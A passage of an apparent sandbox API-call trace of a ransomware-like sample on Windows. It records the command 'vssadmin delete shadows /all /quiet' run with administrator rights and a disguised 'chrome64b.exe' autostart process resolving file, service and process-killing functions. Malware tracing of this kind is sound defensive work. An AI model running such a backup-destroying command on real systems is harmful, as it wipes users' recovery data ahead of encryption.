| out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8fb4efefd0*="Desktop") returned 0x17 [0170.816] SetErrorMode (uMode=0x0) returned 0x1 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d37ab20, Size=0x52) returned 0x1990d37ab20 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d37ab20) returned 0x52 [0170.816] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0170.816] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x1bc) returned 0x1990d366ca0 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x368) returned 0x1990d378fb0 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d378fb0, Size=0x1be) returned 0x1990d378fb0 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d378fb0) returned 0x1be [0170.816] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xe8) returned 0x1990d379180 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d379180, Size=0x7e) returned 0x1990d379180 [0170.816] GetProcessHeap () returned 0x1990d360000 [0170.816] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d379180) returned 0x7e [0170.816] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0170.816] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0xffffffffffffffff [0170.817] GetLastError () returned 0x2 [0170.817] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0170.817] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0xffffffffffffffff [0170.819] GetLastError () returned 0x2 [0170.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0170.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0x1990d379210 [0170.819] FindClose (in: hFindFile=0x1990d379210 | out: hFindFile=0x1990d379210) returned 1 [0170.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0xffffffffffffffff [0170.819] GetLastError () returned 0x2 [0170.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0x1990d379210 [0170.819] FindClose (in: hFindFile=0x1990d379210 | out: hFindFile=0x1990d379210) returned 1 [0170.820] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0170.820] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0170.820] ??_V@YAXPEAX@Z () returned 0x1 [0170.820] GetConsoleTitleW (in: lpConsoleTitle=0x8fb4eff2c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0170.820] GetProcessHeap () returned 0x1990d360000 [0170.820] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x21c) returned 0x1990d366040 [0170.820] GetConsoleTitleW (in: lpConsoleTitle=0x1990d366050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0170.820] GetProcessHeap () returned 0x1990d360000 [0170.820] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d366040, Size=0xc2) returned 0x1990d366040 [0170.820] GetProcessHeap () returned 0x1990d360000 [0170.821] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d366040) returned 0xc2 [0170.821] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0170.822] GetProcessHeap () returned 0x1990d360000 [0170.822] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366040) returned 1 [0170.822] InitializeProcThreadAttributeList (in: lpAttributeList=0x8fb4eff1e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8fb4eff0d0 | out: lpAttributeList=0x8fb4eff1e0, lpSize=0x8fb4eff0d0) returned 1 [0170.822] UpdateProcThreadAttribute (in: lpAttributeList=0x8fb4eff1e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x8fb4eff0bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8fb4eff1e0, lpPreviousValue=0x0) returned 1 [0170.822] GetStartupInfoW (in: lpStartupInfo=0x8fb4eff170 | out: lpStartupInfo=0x8fb4eff170*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0170.822] GetProcessHeap () returned 0x1990d360000 [0170.822] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x20) returned 0x1990d361850 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0170.822] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0170.823] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0170.823] GetProcessHeap () returned 0x1990d360000 [0170.823] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d361850) returned 1 [0170.823] GetProcessHeap () returned 0x1990d360000 [0170.823] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x12) returned 0x1990d366e70 [0170.823] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.823] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0170.823] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.823] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0170.823] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8fb4eff100*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8fb4eff0d8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x8fb4eff0d8*(hProcess=0x94, hThread=0x98, dwProcessId=0x4c8, dwThreadId=0xfa4)) returned 1 [0177.269] CloseHandle (hObject=0x98) returned 1 [0177.269] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0177.270] GetProcessHeap () returned 0x1990d360000 [0177.270] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d37a020) returned 1 [0177.270] GetEnvironmentStringsW () returned 0x1990d379520* [0177.270] GetProcessHeap () returned 0x1990d360000 [0177.270] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xaf2) returned 0x1990d37a020 [0177.270] FreeEnvironmentStringsA (penv="=") returned 1 [0177.270] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x8fb4efe5d8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8fb4efe5d8, ReturnLength=0x0) returned 0x0 [0177.270] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x7f9c9ff000, lpBuffer=0x8fb4efe610, nSize=0x7a0, lpNumberOfBytesRead=0x8fb4efe5d0 | out: lpBuffer=0x8fb4efe610*, lpNumberOfBytesRead=0x8fb4efe5d0*=0x7a0) returned 1 [0177.270] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0185.126] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x8fb4eff058 | out: lpExitCode=0x8fb4eff058*=0x40010004) returned 1 [0185.126] CloseHandle (hObject=0x94) returned 1 [0185.127] _vsnwprintf (in: _Buffer=0x8fb4eff228, _BufferCount=0x13, _Format="%08X", _ArgList=0x8fb4eff068 | out: _Buffer="40010004") returned 8 [0185.127] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0185.127] GetProcessHeap () returned 0x1990d360000 [0185.127] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d37a020) returned 1 [0185.127] GetEnvironmentStringsW () returned 0x1990d379520* [0185.127] GetProcessHeap () returned 0x1990d360000 [0185.127] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xaf2) returned 0x1990d37a020 [0185.127] FreeEnvironmentStringsA (penv="=") returned 1 [0185.127] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0185.127] GetProcessHeap () returned 0x1990d360000 [0185.127] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d37a020) returned 1 [0185.127] GetEnvironmentStringsW () returned 0x1990d379520* [0185.127] GetProcessHeap () returned 0x1990d360000 [0185.127] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xaf2) returned 0x1990d37a020 [0185.127] FreeEnvironmentStringsA (penv="=") returned 1 [0185.127] GetProcessHeap () returned 0x1990d360000 [0185.127] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366e70) returned 1 [0185.127] DeleteProcThreadAttributeList (in: lpAttributeList=0x8fb4eff1e0 | out: lpAttributeList=0x8fb4eff1e0) [0185.127] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0185.732] ??_V@YAXPEAX@Z () returned 0x1 [0185.732] _get_osfhandle (_FileHandle=1) returned 0x254 [0185.732] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0185.732] _get_osfhandle (_FileHandle=1) returned 0x254 [0185.732] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7cb5cfc08 | out: lpMode=0x7ff7cb5cfc08) returned 0 [0185.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0185.732] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7cb5cfc0c | out: lpMode=0x7ff7cb5cfc0c) returned 0 [0185.732] GetConsoleOutputCP () returned 0x4e3 [0185.935] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0185.935] SetThreadUILanguage (LangId=0x0) Thread: id = 24 os_tid = 0xdf4 Thread: id = 32 os_tid = 0x1034 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xc5e7000" os_pid = "0xa28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb64" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x7a8 Thread: id = 10 os_tid = 0xf80 Thread: id = 21 os_tid = 0xd14 Thread: id = 22 os_tid = 0x344 Thread: id = 23 os_tid = 0xa90 Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x107a8000" os_pid = "0xf8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb64" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xfac Thread: id = 26 os_tid = 0xf84 Thread: id = 27 os_tid = 0x7b8 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x69e0000" os_pid = "0x4c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb64" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xfa4 Thread: id = 29 os_tid = 0xf0c Process: id = "6" image_name = "chrome64b.exe" filename = "c:\\windows\\system32\\chrome64b.exe" page_root = "0x14ddf000" os_pid = "0xd14" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\chrome64b.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xd18 [0248.018] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76650000 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetProcAddress") returned 0x766651b0 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleHandleW") returned 0x766650d0 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="FindNextFileW") returned 0x766bee40 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="FindClose") returned 0x766bed70 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="MoveFileW") returned 0x7669e500 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetFileSizeEx") returned 0x766bef40 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleFileNameW") returned 0x76665090 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetFileAttributesW") returned 0x766bef10 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="ExitProcess") returned 0x76663cb0 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetCommandLineW") returned 0x76664cc0 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameW") returned 0x766932c0 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameA") returned 0x76693780 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="CreateMutexW") returned 0x766beb70 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenW") returned 0x76666c70 [0248.018] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenA") returned 0x76666c50 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcess") returned 0x766bea10 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="WaitForSingleObject") returned 0x766beca0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="GetLogicalDrives") returned 0x76660d20 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="GetTickCount") returned 0x766bdd50 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="DeleteFileW") returned 0x766bed40 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="WideCharToMultiByte") returned 0x76666b10 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x766bebb0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="Sleep") returned 0x76666760 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="LeaveCriticalSection") returned 0x774db250 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="ReadFile") returned 0x766bf090 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="CreateFileW") returned 0x766bed10 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="OpenMutexW") returned 0x766bebf0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="EnterCriticalSection") returned 0x774db2d0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="WaitForMultipleObjects") returned 0x766bec80 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiW") returned 0x76666bf0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiA") returned 0x76666bd0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="DeleteCriticalSection") returned 0x774bfb90 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="ReleaseMutex") returned 0x766bec20 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="CloseHandle") returned 0x766beab0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="GetVersion") returned 0x766656c0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="CreateThread") returned 0x766646b0 [0248.019] GetProcAddress (hModule=0x76650000, lpProcName="ExpandEnvironmentStringsW") returned 0x76664a40 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceCounter") returned 0x76665da0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceFrequency") returned 0x76665dc0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcessId") returned 0x766bea20 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="SetFileAttributesW") returned 0x766bf100 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="GetVolumeInformationW") returned 0x766bf020 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="WriteFile") returned 0x766bf180 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="SetFilePointerEx") returned 0x766bf130 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="SetEndOfFile") returned 0x766bf0e0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="FindFirstFileW") returned 0x766bedf0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="GetProcessHeap") returned 0x766651f0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="HeapReAlloc") returned 0x774cf630 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="HeapAlloc") returned 0x774d2dc0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="HeapFree") returned 0x766657f0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="CreatePipe") returned 0x76664590 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="SetHandleInformation") returned 0x766beae0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="CreateProcessW") returned 0x76664610 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringW") returned 0x76664430 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringA") returned 0x76664410 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="OpenProcess") returned 0x76665cc0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="TerminateProcess") returned 0x766667e0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="GetSystemTime") returned 0x766654e0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="SystemTimeToFileTime") returned 0x766667a0 [0248.020] GetProcAddress (hModule=0x76650000, lpProcName="GetLastError") returned 0x76665010 [0248.021] GetProcAddress (hModule=0x76650000, lpProcName="CreateToolhelp32Snapshot") returned 0x7669edc0 [0248.021] GetProcAddress (hModule=0x76650000, lpProcName="Process32NextW") returned 0x7669f8f0 [0248.021] GetProcAddress (hModule=0x76650000, lpProcName="Process32FirstW") returned 0x7669f750 [0248.021] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76190000 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="RegOpenKeyExW") returned 0x761ae580 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="RegQueryValueExW") returned 0x761ae5a0 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="RegSetValueExW") returned 0x761af530 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="RegCloseKey") returned 0x761aed60 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="OpenProcessToken") returned 0x761aefb0 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="GetTokenInformation") returned 0x761aee90 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="OpenSCManagerW") returned 0x761b0540 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="OpenServiceW") returned 0x761afa20 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="CloseServiceHandle") returned 0x761afc00 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="ControlService") returned 0x761c26d0 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="QueryServiceStatus") returned 0x761b2380 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="EnumDependentServicesW") returned 0x761c2f70 [0248.362] GetProcAddress (hModule=0x76190000, lpProcName="EnumServicesStatusExW") returned 0x761afc80 [0248.362] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76050000 [0248.739] GetProcAddress (hModule=0x76050000, lpProcName="SystemParametersInfoW") returned 0x7607f210 [0248.739] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73f80000 [0249.547] GetProcAddress (hModule=0x73f80000, lpProcName="ShellExecuteExW") returned 0x740e4730 [0249.547] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77490000 [0249.547] GetProcAddress (hModule=0x77490000, lpProcName="NtQuerySystemInformation") returned 0x77502070 [0249.547] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73e90000 [0249.557] GetProcAddress (hModule=0x73e90000, lpProcName="WNetCloseEnum") returned 0x73e92640 [0249.557] GetProcAddress (hModule=0x73e90000, 